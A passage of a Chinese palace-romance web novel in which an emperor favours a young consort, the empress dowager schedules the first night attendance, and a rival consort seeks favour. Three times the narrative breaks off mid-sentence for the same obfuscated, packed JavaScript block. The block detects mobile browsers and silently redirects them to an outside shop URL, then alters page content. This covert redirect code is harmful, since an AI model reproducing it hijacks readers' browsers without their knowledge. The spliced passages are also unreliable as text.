“娘子。”许仙面露微笑,迎了白娘子入内,大门关闭。片刻后许仙推门而出,他淡青色的生员长衫上有着鲜艳地红色花纹。他手里拿着一把伞,站在门口看了看天色,撑开伞走向远处,全剧落下了帷幕。 明帝没有开口,王嫔便跪拜在一旁行礼,一动不敢动。随着时间流逝,她心里慢慢变得后悔惶恐。正惴惴不安时,戏文落幕,明帝终于再开口:“你来的不巧,怕是瞧不上什么热闹了,你还是回吧。” “是。”王嫔不敢多留,低头退了出去。 安宁看着王嫔匆匆离去的背影,看了看面无表情的朱弘辉:“四叔,你不高兴?” 他低头看向她时,面上寒霜尽去,眼神温柔和煦:“喜不喜欢这出戏?” 她点头:“喜欢!只是没看明白为何最后都只有许仙一人撑伞离去,白娘子呢?” 他牵着她的手下榻,两人并肩出了乐成殿。黄大伴原想让銮驾上前,见明帝有意同宁昭仪步行,便识趣地挥手让众人退下远远缀在其后。 明帝耐心回答:“许仙撑的伞,伞柄是蛇骨,伞面是白蛇的皮,他身上的血,便是白娘子的血。” 安宁一怔:“他杀了白娘子?” 他淡然回答:“他已经知晓白娘子是蛇妖,自然不会容她在身侧安枕,毕竟非我族类,其心必异。” 安宁啊了一声。她喜欢这出戏,原以为历经了那么多困苦,白娘子终于得以同许仙团圆,万万没想到实际是这样的结局。 他看出了她的失望,牵着她的手微微紧了紧:“你不喜欢,我明日便令钟鼓司改了这结局。” 她转而又高兴起来:“谢谢四叔!” 明月高悬,皎洁的月光落到了她的眼里,让她眼眸中似有点点星辉。朱弘辉心头微动,她这般鲜明的在他身旁,让他一直孤寂冰冷的心慢慢有了温度。 他问她:“想不想家?” “想。”她眼神微黯,“想爹,想娘,想祖母,想我的雪莲和海翼。”她叹了口气沉默下去。 “不怕。”他低声安慰,“过些日子我出宫,带你回太师府去省亲。” 她抬头欣喜地看着他,眼神转眼明亮:“真的?!” 他承诺:“我保证。” 两人并肩而行,月光将两人的影子在地上拉得很长。他们不知在说些什么,宁昭仪一时微愁,一时又十分雀跃。明帝宠溺地看着她,满眼只能容下她一人。黄大伴在后远远看着这一幕,想起先前狼狈离开的王嫔,暗地里摇了摇头。 清晨,院子里隐约传来的声响惊醒了安宁。她睁开眼打了个哈欠,伸手将幔帐撩开一条缝,看着透进屋子来的青色晨光显然时辰还早,她带着浓重的鼻音慵懒地开口:“白蔻?” 大门吱呀一声响,白蔻快步进了屋子:“姑娘,你醒了?” “你们在做什么呢?”安宁抱着被子坐起了身,“院子里吵吵闹闹?” 白蔻面带笑容:“姑娘,你出去看看就知道了。” 安宁来到院子里,见雪莲拴在院子的柏树下,海翼则歇在一旁的西府海棠上,看见安宁它扑闪着翅膀想要飞过来,奈何脚上被铁链栓得牢牢地,又落回了树枝上,它这一挣扎带起树上簌簌落下无数碎雪,漫天飞扬,引得围观的小宫女们发出了清脆的笑声。 安宁的困意不翼而飞,惊喜地看着眼前的雪莲和海翼:“雪莲?海翼!” 她上前摸了摸雪莲的脖子,又转身去解开了海翼脚上铁链的锁,海翼展翅落到她肩头,威风凛凛地扫视着院子里的众人。安宁高兴地问白蔻:“祖母把它们送进宫了?” “是圣上特地令人去国公府将它们接过来的。”送天马和猎鹰过来的小太监恭敬回答,“圣上说了,有它们陪着,也可聊解昭仪的思家之情。” 白薇上前回话:“昭仪,顾秀女来了。” “姐姐?”安宁诧异,“快请她进来!” 顾珂柔进了院子,依着规矩先同安宁问安。她刚福身安宁便扶住了她:“姐姐,你今日怎么过来了?” “晨起圣上便传了口谕,命我前来毓德宫陪你。”顾珂柔也看见了院子里的雪莲和海翼,她害怕海翼,安宁见状将海翼交给了一旁专职训鹰的小太监,同姐姐一起回了房间。 安宁刚起身,还穿着一身寝衣,披散着一头长发。顾珂柔拉了她在铜镜前坐下,拿起了木梳替她梳妆:“外面这般冷,寝衣单薄,仔细受寒。” 安宁看着铜镜里的姐姐,甜甜一笑:“我记住了。” 安宁刚起,来伺候她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560131|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女很多,屋子里的人进进出出,有打扫房间的、有整理床铺的、还有送茶和吃食的。顾珂柔见人多口杂,便没有多说话。她手指极巧,给安宁梳了个漂亮的发髻。 “昭仪。”宫里的小丫鬟进门同安宁行礼,“敬事房的人来请安。” 安宁好奇的转身,见一个大太监带着一行人进了屋子,一群人进门便跪地行礼,当先的太监道:“禀宁昭仪,小的是敬事房的人,昭仪可唤小的一声小温子。昭仪的绿头牌已经做好,特地拿来请您过目。” 他说着话,后面的小太监膝行上前将一个银盘高举过头顶。温公公揭开了覆盖的红绸,上面放着一个木头牌子,其上雕刻着宁昭仪三个字,朱漆涂描,尾部染了绿漆。安宁拿起牌子在手中端详:“这个做什么用?” 温公公笑着应道:“这是您大喜的日子所用。” 安宁微微一僵,将牌子放回银盘里。白薇早备好了赏银,一一赏给了敬事房的各人,众人连声谢恩。等到他们都退下,安宁才转身拉住姐姐的手,将头靠在她面前轻声道:“姐姐,我有些怕。” 顾珂柔轻轻扶着妹妹的肩:“怕什么?”她轻声问,“怕……侍寝?” 安宁点了点头,她抬头看向姐姐:“我……” 她刚张口,顾珂柔便轻轻捂住了她的嘴,摇了摇头:“隔墙有耳。” 安宁会意,知道在宫里不可以再提起过往,点了点头。 顾珂柔松开手在她身边坐下:“宁儿,别怕,圣上这般宠爱你,一定会好好待你。” 朱弘辉到安宁寝宫的时候,顾珂柔已经回了储秀宫。安宁用完午膳在午睡。他穿过前院,一上午的功夫,内务府的人已经在偏院给雪莲收拾好了一个马厩,又在前院的西府海棠旁给猎鹰海翼立好了一个站立的架子,还用朱漆上好了颜色。 朱弘辉的脚步在海翼身旁顿了顿,海翼锐利的眼睛紧盯着眼前的人,黄大伴上前拦在了他身旁:“圣上,这东西野得很,还是小心些好。” 朱弘辉夸赞了一句:“内务府的人做事倒也上心。” 他掀帘进屋,阻止了丫鬟们去叫安宁起身,他慢慢走进内寝,走到榻边坐下。 内寝放下了竹帘挡光,屋子里暗了一半。因为是午睡,大床并没有放下幔帐,安宁面朝墙侧躺着,整个人小小的一只淹没在被子里。丝绸般的长发披散在她身后,只露出了白皙的小脸和一只手在外面。 他意识到自己身上带着外面的寒气,起身走到屋角的铜炉旁伸出双手取暖。 白薇进来送茶,明帝轻声问道:“昭仪今日可好?” “挺好的。”白薇恭谨回答,“早起看见马和猎鹰,昭仪便很高兴,顾秀女又陪着昭仪说了一上午的话,昭仪午膳都多用了一些。” 明帝点点头,白薇低头退下。安宁迷蒙中听见低沉地交谈声,她缓缓睁开眼困倦地转身,见朱弘辉正站在火炉旁,她坐起了身:“四叔?你什么时候来的?” “刚来。”他捏了捏自己的手,感觉不到寒气才重新走到床榻边落座,“吵着你了?” 安宁摇头:“本来睡得也不实,想着闭目养会儿神,迷迷糊糊地好像听见了你的声音,就醒了。” “醒了正好。”他笑看着她,“不是把马和猎鹰都接进了宫?正好一起散散心。” 奉天殿,王太后正在听下面的众人议政,王大伴上前俯身到她耳边轻语:“圣上带着宁昭仪,在宫里纵马放鹰,宁昭仪控马不当,撞伤了王嫔娘娘的侍女。” 39. 38 王太后听完大伴的话,问道:“人现下如何?” 王大伴恭敬回答:“人已经被挪回了永和宫,王嫔娘娘请了太医过去医治。” 王太后看着大伴:“你怎么越老越糊涂了?哀家问你,宁昭仪可有伤着?” 王大伴醒悟:“是老奴的疏忽!宁昭仪受了惊,被送回了毓德宫。” 王太后关心地问:“可有宣太医过去?” 王大伴赶紧应道:“老奴这就去宣太医。” 王大伴行礼退下,这几问几答屋子里的人都默不作声的侧耳倾听着,早停下了原本的讨论,安静地恭候着王太后。 太师顾仲堂上前一步:“太后,老臣听您言语中似乎提到了宁儿,可是宁儿犯了什么错?” 王太后轻笑道:“不过是小孩子淘气罢了,这也值得拿出来说嘴。”她微笑着看着顾仲堂,“太师不必担心。”她扫视了一圈下首众人,“诸位爱卿,继续吧。” 从奉天殿出来,顾仲堂慢慢向外走去,一众同僚皆同他行礼方才快步越过他匆匆赶着出宫。他年龄渐大走得不快,渐渐地出宫的甬道上就只剩下了他一人。 待他快走到东角门的时候,甬道旁宫墙抱厦下的阴影里站着一个嬷嬷,见着他矮身行礼:“奴家见过太师大人。” “程嬷嬷不必多礼。”顾仲堂温言开口,“柔儿可好?” 程嬷嬷应道:“大姑娘聪慧娴静,论家世才貌在秀女里都是拔尖儿的,太师大人不必担心。” “她稳重妥帖,不似宁儿天真烂漫,我自是十分放心。”顾仲堂询问,“今日可是发生了什么事?” 程嬷嬷道:“今儿个圣上和昭仪在宫里骑马,旁的娘娘听见动静去看热闹,岂料昭仪的马受惊,冲向了王嫔。幸得她身边侍女相护,王嫔平安无事,只是宫女受了伤。” 顾仲堂听完久久无言,看着远处的东角门。那处有全副武装巡逻的护卫值守,出了东角门便是宫外。 “劳烦嬷嬷给柔儿带句话。”顾仲堂慢慢道,“她身为长姐,对胞妹有劝诫爱护之责。眼下这情形,也唯有她能护着宁儿一两分。” 程嬷嬷低头应下:“是。”随即转身,穿过身后的小门远去。 顾仲堂抬头看着天空,日头渐渐西斜,天空积聚起了团团铅灰色的乌云,看样子今晚又要落雪。那云朵就像蒙在他心头的阴影,他摇了摇头。 毓德宫里,安宁斜倚在临窗的大炕上,抱着圆柱抱枕看着窗外。白薇进来通传:“昭仪,王大伴来了。” 安宁回头,见王太后身边的王大伴进了屋子,一甩手里的拂尘同她行礼:“咱家见过宁昭仪,昭仪日安。” 安宁避过,只受了他半礼:“大伴不必如此多礼,折煞我了。” 王大伴关切开口:“太后娘娘听闻今日昭仪骑马受了惊,特地令咱家去太医院宣了太医来为您诊脉。”王大伴看向身后,侧身道,“大人,请。” 太医上前同安宁行礼,白蔻送来蒲团,太医就着蒲团在脚踏上跪下,拿了帕子搭在安宁的手腕上为她诊脉。凝神听了片刻后太医道:“昭仪只是受了点虚惊,老臣开个方子,将宁神的药吃上几日便好。” 王大伴笑道:“那就好。如此咱家也好回去同太后回话。” 安宁面露愧疚之色:“大伴留步,劳累太后替我挂心,是我的不是。我同大伴一同去一趟慈宁宫面见太后请罪。” 安宁心头惴惴,今日王嫔等人突然从侧门里出来,她躲避不及。在宫里伤了人,虽非她所愿,也是她犯下的错,偏生太后怕她受惊,还宣了太医来替她诊脉,她更觉不安。 安宁心绪不宁地到了慈宁宫,王大伴请她在院子里稍后,先行进去通传。片刻后王大伴带着笑容出来:“宁昭仪,请随咱家来。” 安宁随着王大伴进了正殿,见宝椅上坐着一个华服妇人,她穿着明黄的服饰,上面绣着金色的凤凰。安宁不敢多看,上前跪拜:“臣妾参见太后,太后日安。” “你这孩子,今儿个受了那么大惊吓,不好生在寝宫里将养着,怎么还到我这里来了?”王太后朝着安宁招了招手,“过来,让哀家好好看看。” 安宁起身垂首上前,王太后轻轻握住安宁的手,仔细端详着她的面容:“你父亲年轻的时候,容貌在整个大宁都是数一数二的出色,你母亲也是大美人儿,如今见着你,既有你父亲的容貌,也有你母亲的温婉,等你再大些,整个京城怕是无人能同你相比。” 安宁矮身行礼:“臣妾蒲柳之姿,实在不敢担此盛赞。”安宁顿了顿,“臣妾惶恐,今日闯下大祸,还劳累太后费心牵挂,特地前来请罪。” “唉。”太后轻叹一口气,慈爱地看着她,“今日的事,不是你的错。我已经着人问过,你在甬道上骑马,奔马正盛,她们突然从拐角处现身,如今这个结果已是你骑术极佳的缘故。” 安宁再度矮了身下去:“多谢太后!” 太后看向身旁的女官:“赐座。” 女官搬来了鼓凳,让安宁坐在太后面前。王太后道:“辉儿一向冷清,从小不爱多言,也不爱与旁人打交道。如今他愿意同你这般,反倒让我放了心。”王太后叮嘱安宁,“你多陪陪他,有你陪着,他也能开朗许多。” 安宁垂头应下:“是。” 王大伴进殿轻声道:“禀太后,圣上来了。” 王太后笑道:“你看看,他这是怕我苛责你,赶来给你撑腰来了。”她对王大伴道,“请圣上进来。” 朱弘辉进了内殿,视线首先落到了安宁身上,见她安稳地坐在王太后面前,微微紧绷的身体才放松。他向着太后行礼:“儿臣参见母后。” 王太后打趣:“怎么,这是怕我责罚宁昭仪,赶着来替她撑腰了?” “母后,今日的事,是儿臣的错。”朱弘辉道,“宁昭仪初入宫,不知宫中禁令不可奔马,是儿臣见着那天马心喜,这才惹出了这等祸事。” “你喜欢,自然无所不可,只是日后还是要小心些。若非八百里加急,宫中不可奔马,老祖宗留下的规矩,你身为帝王,应以身作则。”王太后话锋一转,“既然来了,就在这陪哀家用晚膳。”她笑看向安宁,“你也一起。” 安宁和朱弘辉一起在慈宁宫陪太后用了晚膳,又陪坐着说了会儿话方才离开。此时天色已晚,宫里各处亮起了灯笼。 銮驾候在慈宁宫门口,明帝对着黄大伴微微摇头,黄大伴会意,让众人退了些,由着明帝握着宁昭仪的手缓缓步行。 安宁看着地上两人的影子:“四叔,你赶过来,是怕我被太后责罚?” 他的手松松地握着她的,十分温暖。他淡淡地嗯了一声:“我听说你同王大伴去了慈宁宫,便赶了过来。” 她轻声道:“太后令王大伴宣太医来替我诊治。我想着我今日犯了错,太后还这般挂心,便主动随王大伴过来请罪,倒让你担心了。” 他轻声叮嘱:“以后若是没有必要,还是少来这处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566945|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 安宁抬头看着他,月光和灯火交织下,他的眼眸里都是对她的担心。她嗯了一声:“好,我听你的。可是四叔,”她轻声抱怨,“在宫里奔马有违宫规,你为何还纵着我?” “规矩是规矩,你是你。”他道,“我知晓你性子,让你进宫已是为难你,何苦还事事困着你?若是让你进宫是如我一般身陷深牢,那这宫不进也罢。” 安宁停下了脚步,怔怔地看着他。他不解地看着她,轻声开口:“怎么了?” “四叔,你对我太好。”安宁神情复杂,“我,我不知如何才能回报。” “我对你好,自然是因为我希望你能对我也好。”他紧了紧握着她的手,让她随着他慢慢前行。两人的影子融合在一起,宫道清冷漫长,寒夜冷寂,他在身旁她却并不觉得孤单。他轻声对她道,“你已经做得很好。你若是觉得我对你太好,你做的还不够,不着急,我们还有很长的时间,你可以慢慢来。” 他陪着她一直漫步到了毓德宫外才松开了她的手:“进去吧,早些休息。不要想太多,凡事有我。” 安宁没有动,站在那里抬头看着他。 她第一次仔细端详眼前的人。他不似伯言,有着让人一见难忘的容貌,但他五官也十分清隽。他气质清冷,因为他帝王的身份,这种清冷变成了一种淡漠的威严。可是无论何时,那双看向旁人时没有任何温度感情的眼睛落到她身上,都和煦温暖。 “四叔……”她想说什么,张口又无言。 他耐心地等待着,见她千头万绪不知从何说起,也没有为难她。如他所言,他们的时间还长,他可以等。他轻轻推了推她:“进去吧。” 安宁转身走向宫门,迈步过了门槛,忍不住又回头看他。朱弘辉暗自握了握拳,灯火下她这般依依不舍的眼神,让他从心底里涌起了一股冲动,想要留在她身边。 她在宫门后看了他片刻,终于转身回了宫。直到她转过影壁再看不见她的身影,他才缓缓地、缓缓地长呼出一口气,竭力压着心底那些疯狂长出来的长草,转身吩咐王大伴:“回宫。” 永和宫里,姚贵人陪在王嫔身旁,夜色已深,王嫔仍没有放她回去休息的意思。可她也没有开口说话,仄仄地看着燃烧的烛火一言不发。 姚贵人轻声唤她:“娘娘……” 王嫔叹了口气,没什么精神地开口:“我突然觉着,以后这一生,恐怕绝大部分日子,都会像眼下这样,自己守着偌大的宫殿,看着燃烧的烛火,自己慢慢在这深宫里熬着。” “娘娘。”姚贵人一惊,没想到王嫔会说出这样的话,“娘娘何必说这般丧气之言?您是王氏嫡女,你身后不仅有整个王氏,还有太后……” 王嫔看着烛火缓缓摇头:“有什么用?圣上有多看过你我一眼不成?我曾经以为,他一直就是那般淡漠冰冷,直到我看见……” 直到她看见,明帝替宁昭仪披上绣着团龙纹的大氅,细心地替她扣着领口的盘扣。 大肆靡费重修乐成殿也好,将毓德宫布满珍玩也罢,都不抵那一幕带来的冲击。她明白了一件事,宁昭仪同这后宫里的其他人截然不同,她不是长在路边刺目的野花,她这朵花,被明帝捧在手心,小心翼翼地种在只属于她一人的园地里。 再到今日明帝由着她在宫里纵马,让宫禁形同虚设。这整个后宫,都不过是她顾安宁的陪衬罢了。 “娘娘。”姚贵人轻声劝解,“凡事过犹不及。” 40. 39 慈宁宫。 王太后卸去钗环,换上寝衣准备安寝。王大伴躬着身,端来了熬好的药:“娘娘,到时辰用药了。” 王太后接过瓷碗,皱着眉一饮而尽,将空碗放回托盘,拿起一旁备好的清水漱口,待她漱口完毕,王大伴奉上备好的帕子,太后接过去按了按唇角:“敬事房那边,准备的如何了?” “奴才特地去看过,如今宫里各位的绿头牌都已经备好。钦天监看了黄道吉日,拟了个好日子。”王大伴说着话,将托盘交给身后的小太监,从旁拿起一个折子双手奉给太后,“还请太后过目。” 王太后展开折子随意看了几眼:“敬事房那边,各宫的月事记录,你可看了?” “看了。”王大伴恭敬回答,“这个日子不是王嫔和周嫔娘娘的信期,就是……” 王太后抬眼看他:“就是什么?” 王大伴道:“就是和宁昭仪冲突,正好是她的信期。” 王太后眼里浮上了笑意:“她还小,位份也低一些,圣上对她又宠爱尤盛。这般缓一缓也好。”她将折子递给王大伴,“就这日吧。” 半夜时下起了雪,天亮之后雪花还飘飘扬扬地飘洒,天空阴沉沉地压着,不是个好天色。 白蔻在寝殿门口跺了跺脚,拍掉穿过天井时身上沾染的雪花,这才掀开厚重的门帘进了屋子。 房间里炭火正盛,一进门一股热浪扑面而来,将室外的寒气驱得干干净净。屋角点着熏香,暖意与其交融,整个房间暖香弥漫。 沉香也进了屋子,她手里端着托盘,上面整齐摆着新做的衣裳:“这是内务府一早刚送来的,说是姑娘的品级服饰。” 白蔻好奇的翻了翻:“这衣裳真好看。” 沉香轻轻拍掉了她的手,嗔了她一眼:“还不快去叫姑娘起身?” 白蔻将手缩了回去,冲着沉香做了个鬼脸,转身进了内殿。屋子里静悄悄地,她悄然走到床榻旁掀开幔帘,却见安宁已经睁开了眼睛,正在昏暗中平躺着看着帐顶。 “姑娘,你醒了?”白蔻挂好幔帐,“我正要唤你起身呢。” 安宁扭头看向窗外:“什么时辰了?” 白蔻应道:“刚卯中。” 安宁没什么精神地坐起了身:“已经卯中了,怎么天色还这么暗?” “昨儿个落了一宿大雪,眼下天还阴着。”白蔻看安宁神情仄仄,半跪在榻前抬头看她,“姑娘可是觉着不舒坦?” 安宁点点头。她昨晚半夜来了月事,小腹疼得厉害,那股隐痛持续不断,足足疼了一宿。即使她在睡梦中,也能感觉到疼痛,疼得久了,让人十分疲惫。 “沉香姐姐一早就吩咐小厨房备了糖蛋,你一会儿趁热用一些,也能缓缓。”白蔻替安宁更衣,“内务府送来了新做的品级衣裳,要不先去看看?” 安宁提不起精神:“待会儿吧。” 她刚梳妆完毕,白薇便进来通传:“昭仪,圣上来了。” 安宁扭头,见宫人掀开门帘,明帝踏进了屋子。天冷他披着厚重的大氅,一进门便点点头:“你这屋子倒暖。” 安宁起身迎过去,替他接住脱下来的大氅:“四叔,你怎么这么早就过来了?” 他道:“左右无事,就过来看看你。” 昨夜分别后,他在寝殿里辗转反侧,眼前反复出现她站在宫门前,依依不舍回头看着他的那一幕。他心不宁,好容易熬到天明,就赶了过来。 他的视线落到桌上的衣裳上:“这是?” 白薇在一旁应道:“回禀圣上,这是内务府一早刚送过来的,是宁昭仪的品级衣饰。” 明帝嗯了一声。 毓德宫的大小事情,内务府极为上心。从明帝下旨大肆重建乐成殿和毓德宫开始,那些人精便知晓宫里来了个了不得的人物,被圣上放在心尖上。 安宁寝宫用的一应物事皆为宫里最好的东西。原本每个宫里根据位份都有固定的份例,可架不住明帝赏了又赏,流水一样的把各种好东西送过来。单说用炭,开春后别的宫里除了统一烧着的地龙,好些炭盆的定例都已经取消。安宁寝宫暖炉里的银霜炭十二个时辰就未曾熄灭过。 “圣上,昭仪。”白蔻进来通传,“王嫔娘娘和姚贵人来了,正在殿外恭候。” 明帝皱起了眉头,语气中带着几分不悦:“她们这么早过来做什么?” 安宁吩咐白蔻:“快请。” 王嫔和姚贵人进了内殿,见明帝面无表情端坐在主位上,两人心下皆是一惊,快步上前行礼:“臣妾参见圣上!圣上万安!” 安宁上前同两人见礼。明帝淡淡开口:“你们过来做什么?” “回圣上,”王嫔见明帝眼底深处压着不悦,低下头委屈地开口,“昨儿个昭仪在马上受了惊,臣妾挂心所以一早便过来看一看。” “劳姐姐费心,是我的不是。”安宁道,“我平安无事,姐姐不必担忧。” 王嫔从身后的管事嬷嬷手里接过一个四四方方的宝盒递给安宁:“这是安宫丸,宁神驱惊最是好用。若是遇上高热惊厥,也可救命。家里常让我手边备着这个以防不时之需。我想着妹妹受了惊,就拿了一丸过来。” 明帝听她如此,神色稍缓,对安宁道:“这是好东西,你且收着。” 安宁谢过王嫔,收下了安宫丸。 “我想着落了雪,御花园也不好去了,大家都各自闷在宫里,不如白日到一起聚一聚。”王嫔向安宁提议,“也好有个说话的人解解闷儿。我那有几本琴谱,好些都是孤本,妹妹可愿意得空去我那看看?” “那你可找错了人。”明帝难得开口接过王嫔的话头,“若是投壶看戏她尚可,琴棋书画她一窍不通。” “四……圣上!”安宁撅嘴看向朱弘辉。他失笑,眼里都是笑意,放软了声音问她:“我冤枉了你不曾?” “看戏也好。”王嫔忆起明帝为了宁昭仪重建了乐成殿专门用来看戏,“不若……用了午膳去乐成殿看戏?如今刚进宫的姐妹们彼此都不熟悉,正好聚一聚热闹热闹。” “也好。”明帝唤来黄大伴吩咐,“让钟鼓司准备着,申时乐成殿开戏。”他又特地叮嘱了一句,“如今天冷,就不要在外面的台子了,去后院。” “是。”黄大伴领命赶紧出去吩咐下面的人做准备。 王嫔面带笑容站起了身,福身行礼:“那臣妾便先告退了,趁这个时候去给各宫的姐妹们知会一声,申时相聚。” “好。”明帝点头应允,“去吧。” 回了自己的寝殿,王嫔看向身后的姚贵人,面带笑容夸赞:“你的法子果然好用。” 从进宫到现在,今日是明帝第一次正眼看她。可见去探望安宁且给她送安宫丸,得了他的欢心。 姚贵人谦逊道:“臣妾不过是有点小聪明,又恰好起了作用罢了。” “你也不必过于谦逊。”王嫔轻轻握住她的手,“你这般聪慧机敏,我会好好记住。” 姚贵人低头:“多谢娘娘。” 乐成殿后院戏苑布置完毕,当先并排摆着三方桌椅,王嫔居中落座,安宁和周嫔各在她左右。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579621|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是安宁入宫这些日子后第一次看见周嫔,她平日里深居启祥宫不出门。她看着十分温婉娴静,冲着她微微一笑,并不多话。 管事公公奉上了戏折子给正中的王嫔,王嫔推了推:“拿去让宁昭仪点吧。她爱看戏,懂得肯定比我们多。” 公公将折子奉到安宁面前,安宁推拒:“长幼有序,当是姐姐做主。” 王嫔不再推拒,拿了折子打开看,目光落到戏目上:“怎么有个《白蛇传》,还有个《新白蛇传》?” “回娘娘的话。”管事公公恭谨回答,“圣上说原本的《白蛇传》结局不好,下令钟鼓司改了后面的戏文,所以就有了这出《新白蛇传》。” “听着有趣,看这个如何?”王嫔将戏折子递给一侧的周嫔,“妹妹你再看看?” 周嫔摆手推拒:“我素日里不看戏,姐姐定便是。” 王嫔将折子递还给管事公公:“便看这出戏。” 管事公公领命退下,去了后面吩咐众人做准备。 王嫔看了眼一旁的安宁,见她没有带暖手炉,示意自己身边的女官将自己的暖手炉送过去。她看着安宁温言微笑:“天冷,你拿着这个暖暖手,身上也能暖和些。” 安宁起身谢过接了暖炉抱在怀里。她还没落座,外面便传来传令官的声音:“圣上驾到~” 众人纷纷起身接驾。明帝进了殿,扫视了一圈众人,目光落到安宁身上顿了顿,方才开口:“平身。” 众人站起身,那些贵人才人选侍们纷纷低着头退让到一侧,只留下王嫔、周嫔和安宁三人站在那处。朱弘辉上前:“朕来得是不是晚了?” “不晚不晚。”王嫔道,“还没有开场。” 明帝在原本王嫔居于正中的位置落座,他看了眼黄大伴,大伴会意,着人搬了把椅子放在他身侧:“昭仪,您请坐这。” 安宁看向朱弘辉,他正等着她。她谢恩落座,王嫔只好去安宁原本的位置坐下。 明帝的视线落到安宁的怀里:“这手炉不错,外面这戏水鸳鸯的绣工极好,往日怎么没有见你用过?” “这本也不是我的东西。”安宁将暖手炉捧给朱弘辉看,“这是安嫔姐姐怕我手冷,方才给我的。” 他嘱咐她:“如今虽然立了春,仍然天寒。你还是要备着这些东西。” 她轻声应下。 一问一答间,戏台上传来一声锣响,好戏开场。 入夜,回到乾清宫的明帝坐在书案后,敬事房的管事公公捧着一个银盘入内,跪倒在地将银盘高举过头顶:“圣上,请您翻牌子。” 今儿个晚上是开后宫以来,第一次翻牌子侍寝。明帝捏了捏拳压住心头的翻涌,视线从银盘上一一扫过,他皱起了眉头:“宁昭仪的牌子呢?” 管事公公恭敬回答:“圣上,今儿个不巧,宁昭仪来了信期,是以暂时撤了她的牌子。” 原来是来了信期。他想起她今日时不时轻蹙眉头,暖手炉也一直放在小腹处,想来是身体不适。他看向身旁:“大伴。” “奴才在。” “宣太医院的妇科圣手张太医去毓德宫给宁昭仪调理身子。” 黄大伴领命:“奴才遵旨。” 明帝的视线再度落到银盘上,王嫔、周嫔、姚贵人、李才人、另有各选侍若干。他看着这些名字,眼前浮现的都是朦朦胧胧的脸,记不起她们的模样。 敬事房的管事公公等了片刻,小心开口:“圣上……?” 罢了。 他伸手拿起王嫔的牌子,将其翻扣了过去。 41. 40 永和宫,王嫔坐在铜镜前,大宫女香巧正拿了煮熟的蛋在她脸上轻滚着给她开脸。王嫔微微眯着眼睛,感觉细腻温热的蛋白熨帖着自己的肌肤。她整个人觉着神清气爽,入宫以来的种种压抑一扫而空。片刻后香巧拿走了蛋,王嫔看向铜镜中的自己,只见镜子里的人面若桃花眼含秋水,一双眸子水润动人。 “娘娘。”香巧在一旁笑道,“您今儿个气色看着格外好。” “娘娘。”掌事太监周公公进来通传,“圣上和太后都着人送来了赏赐。” 王嫔起身去了外殿领旨谢恩,一时间,各种封赏流水一般的送进了永和宫,王嫔站在正殿门口,看着这一幕眼角唇稍都带着淡淡的笑意。 住在永和宫偏殿的姚贵人听见动静第一个来贺喜:“恭贺姐姐!恭喜姐姐得蒙圣恩!” “好妹妹。”王嫔扶起了姚贵人,眼里多了几分之前没有的矜贵之色,“你别急,你容貌这般出色,迟早也会有这一日的。” 姚贵人道:“碎星如何敢同明月争辉?我如何能同姐姐相比?” “娘娘。”香巧上前轻声提醒,“该去慈宁宫谢恩了。” 姚贵人识趣地退到一旁:“姐姐先去。待姐姐回来,再给姐姐恭贺。” 毓德宫里,安宁还没有起。 她月信来了之后,小腹疼痛得厉害。昨日虽然有张太医来替她诊过脉,但疼痛并没有因此稍减,她夜里疼了一宿,快天明时才睡了过去。 她正昏昏沉沉地睡着,隐约感觉到有人在试探自己额头的温度,她以为是白蔻或者沉香,拧了拧头想躲开她的手。对方收回了手不再抚着她的额头,转而轻轻替她整理脸颊边睡乱的头发。他的手指修长温暖有力,不是丫鬟们的手。 安宁睁开眼,见明帝正坐在床榻边,幔帐没有掀起,将他也包围在了里面,昏暗的床帐内一时看不清他的脸。她一惊:“……四叔?” 她坐起身,想要伸手撩开幔帐,却被他抓住手握住,顺势一拉,她扑入了他的怀中。 他低下头,埋首在她肩侧,紧紧将她搂在怀里。 “四叔?”安宁怔了片刻,感觉到他整个人似乎缠绕在黑暗复杂的情绪里,抬起手回抱他,轻轻拍着他的背,柔声开解,“你怎么了?” 他没有说话,只是抱着她一动不动。 幔帐厚重,光线难以透进,彼此互相间只能隐隐约约看见对方一个轮廓。他抱着她,整个人透着一种深深的疲惫和无奈。 “四叔。”她伸手轻推他的肩,这次他放开了她。她撩起一角幔帐,屋外的天光透了进来,她看清了他。她仔细打量着他的神情,复又追问,“你怎么了?” “你来了信期?”他答非所问,“听张太医回禀,你腹痛得厉害,现下可有好转?” 她面上一红,他当面问她信期的事情,让她有些羞赧:“还好。” 他也借着天光看清了她,她神情仄仄,眼眶下带着大团的乌青。他抬手轻抚她眼下的青紫,柔声询问:“昨夜……没有睡好?” 她后知后觉自己只穿着寝衣,将被子拉了拉更多地挡着自己:“嗯。” 